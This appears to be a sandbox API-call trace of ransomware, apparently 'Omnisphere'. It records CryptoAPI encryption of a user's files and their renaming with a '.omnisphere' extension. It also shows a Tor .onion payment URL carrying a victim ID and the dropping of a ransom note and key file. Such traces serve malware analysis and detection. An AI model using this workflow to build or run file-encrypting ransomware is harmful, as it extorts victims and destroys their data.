CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0126.339] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.339] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.339] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0126.339] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bc, lpName=0x0) returned 0x288 [0126.339] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bc) returned 0x1480000 [0126.339] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0126.340] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.340] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.340] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.341] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.342] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.343] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.343] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0126.343] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.343] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.344] GetProcessHeap () returned 0x1600000 [0126.344] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16cbcc0 [0126.344] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzyjvtdcm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzyjvtdcm.lnk.omnisphere")) returned 1 [0126.346] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk.omnisphere.id" [0126.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzyjvtdcm.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.346] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.347] CloseHandle (hObject=0x3c0) returned 1 [0126.351] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.351] CloseHandle (hObject=0x288) returned 1 [0126.351] SetEndOfFile (hFile=0x28c) returned 1 [0126.351] FlushFileBuffers (hFile=0x28c) returned 1 [0126.354] CloseHandle (hObject=0x28c) returned 1 [0126.354] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.355] GetProcessHeap () returned 0x1600000 [0126.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.355] GetProcessHeap () returned 0x1600000 [0126.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5848 [0126.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5848, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.355] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.355] GetProcessHeap () returned 0x1600000 [0126.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b02a8 [0126.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b02a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.355] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.355] GetProcessHeap () returned 0x1600000 [0126.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bff38 [0126.355] PathCombineW (in: pszDest=0x16bff38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.355] GetProcessHeap () returned 0x1600000 [0126.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cec88 [0126.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.356] WriteFile (in: hFile=0x28c, lpBuffer=0x16cec88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cec88*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.356] CloseHandle (hObject=0x28c) returned 1 [0126.356] GetProcessHeap () returned 0x1600000 [0126.356] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.356] GetProcessHeap () returned 0x1600000 [0126.356] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.356] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.356] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.356] CloseHandle (hObject=0x28c) returned 1 [0126.356] GetProcessHeap () returned 0x1600000 [0126.357] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.357] GetProcessHeap () returned 0x1600000 [0126.357] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656e08 | out: hHeap=0x1600000) returned 1 [0126.357] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cb8fb1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2238b80c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2238b80c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x471, dwReserved0=0x0, dwReserved1=0xd3, cFileName="K2BND0Qt1GXokGX.lnk", cAlternateFileName="K2BND0~1.LNK")) returned 1 [0126.357] GetProcessHeap () returned 0x1600000 [0126.357] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0126.357] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="K2BND0Qt1GXokGX.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk" [0126.357] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K2BND0Qt1GXokGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\k2bnd0qt1gxokgx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.357] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1137) returned 1 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] GetTickCount () returned 0x115f885 [0126.357] 